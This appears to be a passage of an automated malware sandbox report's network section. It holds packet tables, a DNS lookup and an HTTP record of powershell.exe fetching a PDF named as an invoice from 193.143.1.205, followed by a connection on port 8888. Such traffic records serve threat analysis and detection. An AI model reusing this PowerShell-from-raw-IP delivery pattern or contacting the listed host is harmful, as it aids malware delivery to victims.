Jan 10, 2025 14:28:15.025293112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025398016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025434017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025451899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025463104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025487900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025499105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025499105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025518894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025528908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.025547981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.025568962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.050261021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050272942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050282955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050292969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050319910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.050405979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.050631046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050642014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050651073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050688982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.050688982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050703049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050717115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050728083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.050736904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.050745964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.078263998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.082523108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.086898088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086919069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086930037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086941004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086946011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.086951971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086956024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.086962938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.086997032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087047100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087069988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087081909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087088108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087095022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087110043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087117910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087130070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087140083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087145090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087166071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087182045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087186098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087193966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087212086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087222099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087223053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087234020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087244987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087245941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087255001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087268114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087271929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087276936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.087290049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.087316036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106424093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106441021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106452942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106478930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106492996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106498003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106508017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106513977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106524944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106532097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106564045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106565952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106630087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106642008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106659889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106667995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106677055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106703043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106753111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106771946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106784105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106792927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106817007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106822968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106834888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106842041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106859922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106865883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106878042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106889009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.106918097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.106939077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107064009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107074022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107084036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107108116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107108116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107124090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107126951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107132912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107140064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107151985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107161999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107170105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107188940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107204914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107206106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107215881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107225895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107250929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107250929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107263088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107273102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107284069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107290983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107319117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107342958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107355118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107366085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107392073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107392073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107407093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107408047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107426882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107454062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107464075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107470036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107481003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107505083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107511044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107542992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107553005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107563972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107589006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107589006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107609034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107614040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107641935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107665062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107669115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107680082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107691050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107712984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107732058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107755899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107773066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107791901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107801914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107812881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107815027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107822895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107847929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107875109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107886076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107897997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107912064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.107920885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107944012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.107995987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108014107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108025074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108031034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108036995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108059883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108200073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108212948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108223915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108237982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108243942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108268976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108268976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108279943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108289957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108299971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108309984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108311892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108320951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108329058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108331919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108338118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108342886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108354092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108366013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108370066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108381987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108391047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.108422995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.108427048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.120632887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.137382030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137396097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137403011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137463093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137479067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137502909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137514114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137526035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.137541056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.137593031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173731089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173749924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173768044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173799992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173801899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173811913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173829079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173830986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173844099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173855066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173856020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173866987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173877954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173883915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173904896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173908949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173914909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173924923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173933983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173938990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173943043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173964024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173966885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173978090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.173985958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.173989058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174012899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174017906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.174022913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174034119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174046040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.174067974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.174076080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174087048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174094915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.174130917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193259001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193274975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193284035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193329096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193377018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193443060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193453074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193494081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193494081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193507910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193526983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193537951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193547010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193547964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193557024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193564892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193568945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193578005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193588018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193600893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193600893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.193610907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:15.193633080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.246514082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.386908054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.765386105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:15.885690928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:16.295521021 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:16.301904917 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:16.302320004 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:16.302755117 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:16.307666063 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:17.231277943 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:17.277754068 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:17.539109945 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:28:24.065942049 CET	64103	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:28:24.065942049 CET	192.168.2.8	1.1.1.1	0xf87e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:28:24.072935104 CET	1.1.1.1	192.168.2.8	0xf87e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:28:24.837482929 CET	1.1.1.1	192.168.2.8	0x216c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:24.837482929 CET	1.1.1.1	192.168.2.8	0x216c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:28:13.618896961 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:28:14.463685036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:28:14.463713884 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:28:14.464027882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
